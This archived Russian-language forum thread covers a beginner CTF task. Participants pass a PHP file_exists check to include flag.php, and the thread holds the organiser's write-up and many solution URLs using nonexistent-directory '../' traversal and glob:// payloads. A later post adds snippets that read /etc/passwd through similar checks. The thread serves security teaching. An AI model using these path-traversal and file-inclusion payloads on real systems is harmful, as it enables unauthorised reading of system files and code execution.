PDA

Просмотр полной версии : Task #1


dooble
14.12.2018, 23:25
Task #1

Начинаем серию заданий, подобранных специально для общего раздела форума.

Не столько для проверки знаний и умений, сколько для привыкания и освоения такой интересной части форума, как задания.

Пока они будут очень простыми, минимум кода, чтобы начинать решать можно было без особой подготовки, даже со словарем (типа http://php.net/).

Тем не менее готового ответа в этом словаре нет, придется найти его.

Задание:


Выполнить скрипт flag.php на тестовой площадке http://task1.antichat.com
Кодскриптов можно посмотреть в аттаче.


Срок:


две недели.


Правила простые, они исторически сложились на площадках античата и рдота:


В теме не флудим, подсказки разрешены только от ТС, ответы присылаем в ПМ.

Ответом будет считаться УРЛ, который покажет результат выполнения flag.php


После закрытия задания выкладываются прохождения.

Ну и в первый пост обычно добавляют таблицу результатов.

==

Не уверен, что цветным нужно совсем запретить участие в этом задании, не их это уровень, но прокачки у всех разные, может кто и не смотрел в эту сторону.

В любом случае сломают за несколько минут, поэтому раньше 25.12.2018г. в таблицу прохождения заносить не буду.

Всем приятного хека.

==

Первым ответ прислал cat1vo (https://antichat.live/members/94094/), но добавить его в таблицу могу не раньше 25.12.2018г., таковы начальные условия.

sinusu (https://antichat.live/members/330009/), st55 (https://antichat.live/members/287215/), ms13 (https://antichat.live/members/266395/), Franky_T (https://antichat.live/members/328754/), danilkib95 (https://antichat.live/members/329994/), zpointer (https://antichat.live/members/329008/), WockeeZz (https://antichat.live/members/329992/), grimnir (https://antichat.live/members/197111/), oleg_1va (https://antichat.live/members/330004/), MichelleBoxing (https://antichat.live/members/328947/), Jerri (https://antichat.live/members/90760/), leksadin (https://antichat.com/members/281065/) тоже попали в этот список.

Прошли:

Alaich (https://antichat.live/members/274334/)

Shubka75 (https://antichat.live/members/272853/)

grellario (https://antichat.live/members/330316/)

ivanjinario (https://antichat.live/members/294528/)

randomword0x3f52 (https://antichat.live/members/291662/)

istefy (https://antichat.live/members/314435/)

moontisth (https://antichat.live/members/304673/)

OneManTeam (https://antichat.live/members/330370/)

AbakBarama (https://antichat.live/members/139472/)

VentaL74 (https://antichat.live/members/151784/)

Gorbachev (https://antichat.live/members/300636/)

xmp (https://antichat.live/members/330291/)

fandor9 (https://antichat.live/members/329111/)

Jokero (https://antichat.live/members/128439/)

Coost (https://antichat.live/members/305856/)

Beast Force (https://antichat.live/members/326234/)

Stepan999 (https://antichat.live/members/330429/)

daemon_mors (https://antichat.com/members/259579/)

holdik (https://antichat.com/members/311721/)

b3 (https://antichat.com/members/2674/)

crabovwik (https://antichat.com/members/329106/)

BadScrIPt (https://antichat.live/members/330443/)

roker777 (https://antichat.live/members/103459/)

spiner (https://antichat.com/members/267589/)

-=4ekiSt=- (https://antichat.live/members/179477/)

cerber3000 (https://antichat.live/members/67624/)

to the moon (https://antichat.live/members/330601/)

=HALK= (https://antichat.live/members/67039/)

Octavian (https://antichat.live/members/267561/)

qwaszx000 (https://antichat.live/members/316705/)

topthing (https://antichat.live/members/330660/)

Swat2k (https://antichat.live/members/41587/)

FriLL (https://antichat.live/members/65207/)

DartPhoenix (https://antichat.live/members/249672/)

Прохождения (https://antichat.live/threads/467350/page-4/)

dooble
15.12.2018, 10:59
Наверное введем правило: если прошел - отпишись в теме, чтобы можно было проставить репутацию.

ivanjinario
15.12.2018, 12:19
Прошёл

randomword0x3f52
15.12.2018, 13:36
Прошел. Автор жгёт. Пиши ещё.

Alaich
15.12.2018, 13:57
Прошел , жду еще !

Coost
15.12.2018, 15:20
Прошу прощения за офтоп, предлагаю тематические картинки для оформления заданий. Хз на сколько это надо

.SpoilerTarget" type="button">Spoiler: Таск1
https://cdn1.radikalno.ru/uploads/2018/12/15/baaf9d3f113ffc1bd0bc3d1a368c0bc2-full.jpg
и сам фон

.SpoilerTarget" type="button">Spoiler: Фон
https://cdn1.radikalno.ru/uploads/2018/12/15/336811928bdb677a9fa8923e2b6a03d7-full.jpg

grellario
15.12.2018, 15:48
↑ (https://antichat.live/posts/4269193/)
Наверное введем правило: если прошел - отпишись в теме, чтобы можно было проставить репутацию.


Прошёл

Shubka75
15.12.2018, 18:11
Прошел

OneManTeam
16.12.2018, 17:17
Done

moontisth
16.12.2018, 19:07
прошёл

VentaL74
16.12.2018, 20:48
Done!

.SpoilerTarget" type="button">Spoiler: оффтоп
Всегда было интересно поковырятся в чем-то подобном, да никак руки не доходили, да и способностей...

Увидел топик, решил попробовать.

Стартовых знанийумений - 0

Затраченное время - 2 часа утром 1 час вечером

Используемый материал - мозг, гугл, документация по всем функциям задания

Итог: эстетическое удовольствие

Всем советую попробовать, в данном задании (судя по всему) очень низкий порог входа, зато очень интересно узнать свои силы)

ТСу отдельное спасибо за предоставленную возможность, будет интересно до какого по счета квеста я "доживу"

AbakBarama
16.12.2018, 21:05
Решено.

Тот_самый_Щуп
16.12.2018, 21:07
Прошел.

PS: забавное количество свежерегов с быстрым решением таска, однако.

BigBear
16.12.2018, 21:58
↑ (https://antichat.live/posts/4269599/)
Прошел.
PS: забавное количество свежерегов с быстрым решением таска, однако.


Не успеваем нарегать новых. Поможешь?)

xmp
16.12.2018, 23:15
Прошел.

Coost
17.12.2018, 00:25
когда уже решение будет? уже горю от того, что не соображаю как решить, хотя поверхностно знаком с php и вижу что должно быть просто

joelblack
17.12.2018, 00:34
↑ (https://antichat.live/posts/4269631/)
когда уже решение будет?


Да пока еще рановато с решением.Не гори,успокойся, отвлекись, посмотри любимый сериал,как отдохнешь снова садись за таск + google тебе в помощь.Умение искать необходимую информацию крайне важный навык.

danilkib95
17.12.2018, 00:42
Mission complete!

Coost
17.12.2018, 01:11
↑ (https://antichat.live/posts/4269633/)
Да пока еще рановато с решением.Не гори,успокойся, отвлекись, посмотри любимый сериал,как отдохнешь снова садись за таск + google тебе в помощь.Умение искать необходимую информацию крайне важный навык.


Спасибо, да я ж и так ищу. Читаю и всё без толку, ничего нового, смотрю в книгу - вижу фигу.

Я не въезжаю в первую строку, муть какая-то


$flag="./".$_GET['f']

АПД. Как я понимаю, мы принимаем переменную $flag параметром ['f'] полученного .$_GET из текушего каталога "./" . Тогда ссылка должна быть что-то типа task1.antichat.com/index.php?f=./flag.php , не? Я близок или это вообще полная шляпа?

joelblack
17.12.2018, 01:40
Я даже не знаю как подсказать,что бы не заспойлерить таск. Могу наверное лишь сказать,что данная "проблема" освещена в интернете.


↑ (https://antichat.live/posts/4269638/)
Спасибо, да я ж и так ищу. Читаю и всё без толку, ничего нового, смотрю в книгу - вижу фигу.


Ну попробуй значит посмотреть иначе. В принципе срок 2 недели,этого более чем достаточно.

fandor9
17.12.2018, 03:57
прошёл.

Beast Force
17.12.2018, 12:54
↑ (https://antichat.live/posts/4269638/)
Спасибо, да я ж и так ищу. Читаю и всё без толку, ничего нового, смотрю в книгу - вижу фигу.
Я не въезжаю в первую строку, муть какая-то

$flag="./".$_GET['f']

АПД. Как я понимаю, мы принимаем переменную $flag параметром ['f'] полученного .$_GET из текушего каталога "./" . Тогда ссылка должна быть что-то типа task1.antichat.com/index.php?f=./flag.php , не? Я близок или это вообще полная шляпа?


Почему не так? https://task1.antichat.com/flag.php

zpointer
17.12.2018, 13:35
Прошёл.

dooble
17.12.2018, 13:46
Beast Force said:
↑ (https://antichat.live/posts/4269735/)
Почему не так?
https://task1.antichat.com/flag.php


Потом, что так - https://task1.antichat.com, или так - http://task.antichat.com:10001/

Coost
17.12.2018, 14:07
Beast Force said:
↑ (https://antichat.live/posts/4269735/)
Почему не так?
https://task1.antichat.com/flag.php


Потому что читай о php

Beast Force
17.12.2018, 14:10
Ну есть вывод "Sorry this file is protected" так а дальше что?

dooble
17.12.2018, 14:23
А дальше, с помощью каких-то манипуляций с запросом (или с помощью зубила и какой-то матери) получить в ответ md5 строку.

И этот запрос прислать ТС в личку (в ПМ).

WockeeZz
17.12.2018, 15:29
Прошёл

grimnir
17.12.2018, 17:03
таск интересный для новчиков, полностью поддерживаю идею развития этого направления!, сам решил за 10 сек )

oleg_1va
17.12.2018, 17:28
Сделал!

joelblack
17.12.2018, 17:35
↑ (https://antichat.live/posts/4269808/)
сам решил за 10 сек )


Это среднее время решения данного таска, если знать куда смотреть)

crlf
17.12.2018, 18:39
↑ (https://antichat.live/posts/4269816/)
Это среднее время решения данного таска


Думаешь есть люди которые смогли потратить меньше 10 секунд? Сам поначалу не въехал, так как код абсолютно не логичен с точки зрения разработки. Но представив его как гайд, решение нашлось сразу

joelblack
17.12.2018, 18:52
↑ (https://antichat.live/posts/4269832/)
Думаешь есть люди которые смогли потратить меньше 10 секунд?


Думаю да.Это люди, которые обошлись без гугла и по старой памяти все сделали.

Я решил почти по старой памяти,когда увидел исходник, вспомнил что где то подобное видел,а потом google, ссылка на материал на первой странице в выдаче и профит)

MichelleBoxing
17.12.2018, 20:30
прошел, жду продолжения )

dooble
17.12.2018, 20:45
Плюсомет прегрелся, отдыхает до завтра.

PIDTatiana
17.12.2018, 20:54
С 12 ночи ломал голову до 4-х утра. Не вышло.

И сегодня, наконец-то, изучив кучу разной литературы и источников - сломал.

Спасибо, мотивирует изучать новое)

Coost
17.12.2018, 20:59
УРА НАКАНЕЦТА и я прошёл, щас скину боже какая радость госпади исуси, спасибо тип сверху, у меня в очередной раз пригорело и я таки смог!!!!!!

Jerri
17.12.2018, 21:39
Сделал, будет круто, если подобных тасков будет много и часто.

Beast Force
18.12.2018, 07:26
Прошел... в коде есть подсказка

grellario
18.12.2018, 10:00
Господа, а следующий таск только после оглашения результатов этого, да? Очень хочу ещё :3

dooble
18.12.2018, 10:20
↑ (https://antichat.live/posts/4269989/)
Господа, а следующий таск только после оглашения результатов этого, да? Очень хочу ещё :3


Два таска одновременно запускать не очень хорошо.

Скорее всего после НГ, на праздники не всем будет интересно сидеть за компом.

Stepan999
18.12.2018, 16:21
Готово.

holdik
18.12.2018, 22:36
Вообще изи )

Прошел.

crabovwik
19.12.2018, 09:57
Сделано. Спасибо!

BadScrIPt
19.12.2018, 16:29
Прошел, ждем-с продолжения

daemon_mors
19.12.2018, 17:46
Прошел

leksadin
20.12.2018, 16:28
done

spiner
20.12.2018, 18:59
изи

-=4ekiSt=-
21.12.2018, 10:55
Прошел

cerber3000
22.12.2018, 11:16
прошел

to the moon
22.12.2018, 13:08
.done

=HALK=
22.12.2018, 13:30
Прошёл

shell_c0de
22.12.2018, 14:02
71***be6

Octavian
22.12.2018, 15:53
Done

rudi
22.12.2018, 16:10
блин, а у меня не получается... по идее нужно как то обмануть file_exists

Если написать http://task.antichat.com:10001/?f=../flag.php

то обманывается, но тогда include не срабатывает ибо путь не верный

dooble
22.12.2018, 16:28
↑ (https://antichat.live/posts/4271445/)
блин, а у меня не получается... по идее нужно как то обмануть file_exists
Если написать
http://task.antichat.com:10001/?f=../flag.php
то обманывается, но тогда include не срабатывает ибо путь не верный


Могу сказать две вещи: это не последний проверенный тобой вариант и что правильный ответ не один, а число правильных ответов примерно равно бесконечности.

Найдешь обязательно.

grimnir
22.12.2018, 18:33
↑ (https://antichat.live/posts/4271445/)
блин, а у меня не получается... по идее нужно как то обмануть file_exists
Если написать
http://task.antichat.com:10001/?f=../flag.php
то обманывается, но тогда include не срабатывает ибо путь не верный


повнимательнее просто прочитайте как работает basename )

t0ma5
22.12.2018, 19:25
file_exists не нормализует путь, ему вроде как только прочекать надо что файл есть и на остальное пофиг

ps много народу прошло, пусть будет хинт

qwaszx000
22.12.2018, 21:22
Надо же, прошёл с телефона.

rudi
23.12.2018, 13:25
Хм... подскажите, почему такой код не срабатывает?


include('./flag.php\x0/flag.php');

Ведь здесь имеем \x0 который якобы должен обрезать строку

topthing
23.12.2018, 16:52
+done

topthing
23.12.2018, 16:55
↑ (https://antichat.live/posts/4271594/)
Хм... подскажите, почему такой код не срабатывает?

include('./flag.php\x0/flag.php');

Ведь здесь имеем
\x0
который якобы должен обрезать строку


Во первых не \x0, а \x00. Во вторых PHP в одинарных кавычках hex символы не распознает, нужны двойные. В третьих в PHP строки уже давно binary-safe и такие древние техники не работают.

dooble
23.12.2018, 18:56
Начнем с того, что задание не закрыто и вопросы если и нужно задавать, то не в этой теме.

Но мы только начинаем и только учимся решать задания, поэтому пока сделаем исключение:

- и потому, что ядовитый ноль в инклюдах, уже в версии 5.3.4 был пропатчен (в 5.3.3.8 уже не работал ), а таск работает на версии 7.2.13.

dooble
26.12.2018, 13:34
Для тех, кто прошел и не знает чем заняться.

Решение под виндовс отличается от решения под nix.

По некоторым причинам не стал его рекомендовать.

Но вот вчера хакеры повтыкали и говорят, что вполне себе весело.

Кстати cerber3000 прислал оба прохождения.

Задание закроем 28.12.2018.

FriLL
27.12.2018, 02:53
Пройдено

DartPhoenix
27.12.2018, 15:26
Больше часа ушло...

Пойду голову пеплом посыплю

rudi
27.12.2018, 21:41
А я пока не прошел... блин

DartPhoenix
27.12.2018, 21:51
↑ (https://antichat.live/posts/4272887/)
А я пока не прошел... блин


Лучше проходи. А то как расскажут тебе чо там было - ты себе пепла не только на голову насыплешь, ты и в штаны его себе напихаешь

dooble
28.12.2018, 15:27
Задание закрыто.

Посмотрим еще раз на код.

Первая строчка не сильно влияет на прохождение, но экономит время, отсеивая варианты с манипуляциями в имени файла.

Ну и спасает интернеты от глобального похека, поскольку хакеры не остановятся только на решении таска, а обязательно доведут до rce, потом порутают систему, а когда поймут, что в докере - будут выбираться в хостовую систему.

А там опять - рут, соседи, креды, интернет.

Теперь две строчки, которые составляют суть задания


if(file_exists($flag)){
echo("Sorry, this file is protected");
}else {
include($flag);
}

Для программиста (как правильно заметил crlf) они не имеют смысла, файл можно проинклюдить только в том случае, если функция file_exists() не найдет его.

А ее единственное предназначение, как раз и проверять существование указанного файла или каталога.

Логика простая и железная, не обойти.

Тупик, опечатка, или что это?

А это именно то пространство, в котором может работать хакер.

Дьявол кроется в деталях.

И в этих деталях обнаруживается другая логика, с которой уже можно работать.

Оказывается include и file_exists используют не совсем одинаковые алгоритмы поиска

.SpoilerTarget" type="button">Spoiler: url
и запрос

http://task.antichat.com:10001/?f=NotExistenDir/../flag.php

выполнит скрипт flag.php.

Все дело в том, что инклюд в никсах работает и через несуществующий каталог (большинство знают это на собственном опыте), если после нормализации пути файл существует.

А вот file_exists требует существования всех каталогов в пути.

И этот баг известен аж с 2004 года.

И не в узких кругах, если спросим у Гугла "bypass file_exists", то в топе получаем документ

.SpoilerTarget" type="button">Spoiler: Документ
https://seclists.org/fulldisclosure/2004/Feb/82

Можно конечно встать на защиту разработчиков: нормально же, include нашел файл, который мы запросили, да "ошиблись" немного в запросе, но "исправились" при помощи "../", вернулись на каталог выше и обнаружили нужный файл. Все нормально.

И, если бы мы, на месте разработчиков писали функцию file_exists(), мы бы тоже не разрешили ей ходить через несуществующий каталог.

Ну в самом деле: Что может существовать в несуществующем месте?
Но, как программистам, нам важно, чтобы обе эти конструкции искали файл одинаково и file_exists не имеет самостоятельной ценности, а только в сочетании с другими функциями (и конструкциями) работающими с ФС.

Поэтому баг, однозначно.

Часть прохождений была найдена с помощью Гугла, это видно по логам сервера, а часть повтыкали "честно".

Оба способа правильны, гуглить - быстрее, повтыкать - интереснее.

Под виндовс запрос получается другой, для его объяснения можно заглянуть в тему https://rdot.org/forum/showthread.php?t=926, она широко известна.

Для работы с файлами винда предоставляет поистине читерские возможности.

.SpoilerTarget" type="button">Spoiler: Прохождения участников


↑ (https://antichat.live)
http://task.antichat.com:10001/?f=./123/../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/?f=./f/../flag.php




↑ (https://antichat.live)
Доброго времени суток
http://task.antichat.com:10001/index.php?f=/rrr/../flag.php




↑ (https://antichat.live)
Привет!
вот решение:
http://task.antichat.com:10001/?f=./ /../flag.php (http://task.antichat.com:10001/?f=./%0A/../flag.php)




↑ (https://antichat.live)
task.antichat.com:10001?f=1111/../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/index.php?f=xak/../flag.php




↑ (https://antichat.live)
/?f=/,./../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/?f=./test/../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/index.php?f=./foo/../fg/../flag.php




↑ (https://antichat.live)
Ещё три варианта:
1. Экринирование:
http://task.antichat.com:10001/index.php?f=./bar/../flag.php (http://task.antichat.com:10001/index.php?f=.%2Fbar%2F..%2Fflag.php)
2. Экранирование + wildcard:
http://task.antichat.com:10001/index.php?f=./*/../flag.php (http://task.antichat.com:10001/index.php?f=.%2F*%2F..%2Fflag.php)
3. Просто wildcard:
http://task.antichat.com:10001/index.php?f=./*/../flag.php




↑ (https://antichat.live)
Приветствую.
Решил так:
http://task.antichat.com:10001/?f=qq/../flag.php




↑ (https://antichat.live)
Привет!
http://task.antichat.com:10001/?f=test./../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/?f=asd/../../html/flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/?f=glob://../flag.php
На этот раз действительно всё просто, в отличие от предыдущего твоего таска ))




↑ (https://antichat.live)
Привет!
http://task.antichat.com:10001/?f=./html/../flag.php
Задание прикольное, спасибо)




↑ (https://antichat.live)
http://task.antichat.com:10001/?f=ololo/../flag.php




↑ (https://antichat.live)
Решение:
http://task.antichat.com:10001/?f=test/../flag.php




↑ (https://antichat.live)
task.antichat.com:10001/index.php?f=./sometxt/../flag.php




↑ (https://antichat.live)
task.antichat.com:10001/index.php?f=./sometxt/../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/?f=./htaccess/../flag.php




↑ (https://antichat.live)
task.antichat.com:10001/?f=../../../var/www/html/./random/../flag.php
если быть течнее, для цтф не имеет значение но в реальном мире при инклуде важно знать пути




↑ (https://antichat.live)
Добрый день.
PoC:
http://task.antichat.com:10001/?f=a/../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/index.php?f=./a/../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/?f=ввв/../flag.php (http://task.antichat.com:10001/?f=%D0%B2%D0%B2%D0%B2/../flag.php)




↑ (https://antichat.live)
Привет,
http://task.antichat.com:10001/?f=html/../flag.php




↑ (https://antichat.live)
Привет. Решил все-таки. Множество всего нового изучил. Спасибо!
http://prntscr.com/lw4qjb




↑ (https://antichat.live)
Прошел?
Дело все таки в пути было, и знак ровно надо было добавить, а я долбился ./../flag.php
На выходе зашифрованная строчка... 718f17b43473d15b74201d9c9e537be6
http://task.antichat.com:10001/?f=./=/../flag.php
или так
http://task.antichat.com:10001/?f==/../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/?f=./glob/../flag.php
ХА!! ХАХАХАХ!!!!!! ХАААААААААААААААААААА




↑ (https://antichat.live)
http://task.antichat.com:10001/?f=veryhardtask/../flag.php
https://seclists.org/fulldisclosure/2004/Feb/82




↑ (https://antichat.live)
Ну запрос очевидный просто) m/../flag.php )




↑ (https://antichat.live)
Решил:
http://task.antichat.com:10001/?f=/null/../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/index.php?f=lol/../flag.php




↑ (https://antichat.live)
Привет
Ответ:
http://task.antichat.com:10001/?f=qq/../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/?f=/123/../flag.php
спасибо за фан, давайте есчо




↑ (https://antichat.live)
http://task.antichat.com:10001/?f=flag/../flag.php




↑ (https://antichat.live)
Привет, спасибо за задание.
Ссылка на результат:
http://task.antichat.com:10001/?f=__DIR__/../flag.php




↑ (https://antichat.live)
а я чё, я тож могу
http://task.antichat.com:10001/?f=././test/../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/?f=/achat-the-best/../flag.php




↑ (https://antichat.live)
Привет
http://task.antichat.com:10001/?f=/I_love_Antichat/../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/index.php?f=
>../../flag.php
сори просто выполнял под виндой на open server-e там достаточно
index.php?f=/flag.php
index.php?f="/flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/?f=glob://../flag.php




↑ (https://antichat.live)
Решение:
http://task.antichat.com:10001/?f=x/../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/index.php?f=/etc/../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/?f=f/../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/?f=-/../flag.php




↑ (https://antichat.live)
Привет, вот результат
http://task.antichat.com:10001/?f=./swat2k/test/../../flag.php
.
Надеюсь следующие задание будет чуть посложнее, обожаю головоломки




↑ (https://antichat.live)
f=abc/../flag.php




↑ (https://antichat.live)
/threads/467350/ (https://antichat.live/threads/467350/)

http://task.antichat.com:10001/?f=/1/../flag.php





↑ (https://antichat.live)

http://host/test/task1/?f="/flag.php
http://host/test/task1/?f=/flag.php





↑ (https://antichat.live)
http://task.antichat.com:10001/?f=./server-status/../flag.php




↑ (https://antichat.live)
http://task.antichat.com:10001/?f=/blablabla/../flag.php



[QUOTE="man474019"]
↑ (https://antichat.live)
[URL="http://task.antichat.com:10001/index.php?f=%22%3E%3C/flag.php"]http://task.antichat.com:10001/index.php?f=">

Итого.

Можно сказать две вещи:

- паблик жив.

- паблик рулит!

Собирается неплохая команда.

Думаю, что это еще не все, еще много кто подтянется.

Для тех, кто не решил. Не расстраивайтесь, заданий будет еще много, всяких и разных.

Кто подтянулся уже после закрытия задания, не спешите заглянуть под спойлер, пробуйте повтыкать, это интереснее, чем просто чтение.

И напоследок. Это очень простое задание, но из него можно извлечь уроки.

Мне бы хотелось, чтобы зашел такой: Хакер часто работает из такого места, который не прописан явно в коде, но из него можно оказывать влияние на результаты работы скриптов.

Я называю это: "В промежутках кода".

Но можно называть и по-другому, "Второе дно", "Dark Side of the Moon", не очень важно, как назвать, важно знать, что существует нечто такое, куда программисты не стремятся заглядывать, но там обитают хакеры и неплохо рулят в свою пользу.

Всем спасибо.

Удачи и хорошего Нового Года!

===

PS, ну и после закрытия задания уже не так строго относимся к содержимому постов и самое время поделиться впечатлениями, находками, своим представлением.

Может есть свое объяснение решениям таска.

b3
28.12.2018, 15:59
↑ (https://antichat.live/posts/4273038/)
Для работы с файлами винда предоставляет поистине читерские возможности.


В Линуксе тоже есть свои прелести с символами * и ?

cerber3000
28.12.2018, 22:22
Прошу прощения, что открыл карты раньше времени. Думал что обсуждать можно как стукнет 28.12. За задание огромное спасибо!

qwaszx000
28.12.2018, 23:01
Да, огромная благодарность автору.

Надеюсь будет ещё много заданий.

Всех с наступающим!

rudi
28.12.2018, 23:04
Вот блин, а я подставлял хлам не на уровень ниже а на уровень выше...

Спасибо позновательно

dooble
29.12.2018, 08:12
.SpoilerTarget" type="button">Spoiler: cerber3000 undelete

[QUOTE="cerber3000"]
↑ (https://antichat.live/posts/4272983/)
вот некоторые из них, я предполагаю их больше но не проверял.
index.php?f=>../flag.php
index.php?f=<><><><>../flag.php
index.php?f=<><><><>

Baskin-Robbins
18.06.2021, 11:47
К слову(на всякий случай добавлю), не только file_exist.


// php 7.3

$a="/etc/../etc/";
if(is_dir($a)){include$a.'passwd';}// passwd
echofile_get_contents($a.'passwd');// passwd

$a="/etc/aaaa/../";
if(is_dir($a)){include$a.'passwd';}// nothing
echofile_get_contents($a.'passwd');// passwd

$a="/etc/../etc/passwd";
if(is_file($a)){include$a;}// passwd
echofile_get_contents($a);// passwd

$a="/etc/aaaa/../passwd";
if(is_file($a)){include$a;}// nothing
echofile_get_contents($a);// passwd

CyberTro1n
29.06.2021, 00:25
↑ (https://antichat.live/posts/4464187/)
К слову(на всякий случай добавлю), не только file_exist.

// php 7.3

$a="/etc/../etc/";
if(is_dir($a)){include$a.'passwd';}// passwd
echofile_get_contents($a.'passwd');// passwd

$a="/etc/aaaa/../";
if(is_dir($a)){include$a.'passwd';}// nothing
echofile_get_contents($a.'passwd');// passwd

$a="/etc/../etc/passwd";
if(is_file($a)){include$a;}// passwd
echofile_get_contents($a);// passwd

$a="/etc/aaaa/../passwd";
if(is_file($a)){include$a;}// nothing
echofile_get_contents($a);// passwd




Братец. Твои рыбатоты много стоят. Спасибо бро, Душевно, за наш малый городок, огромное!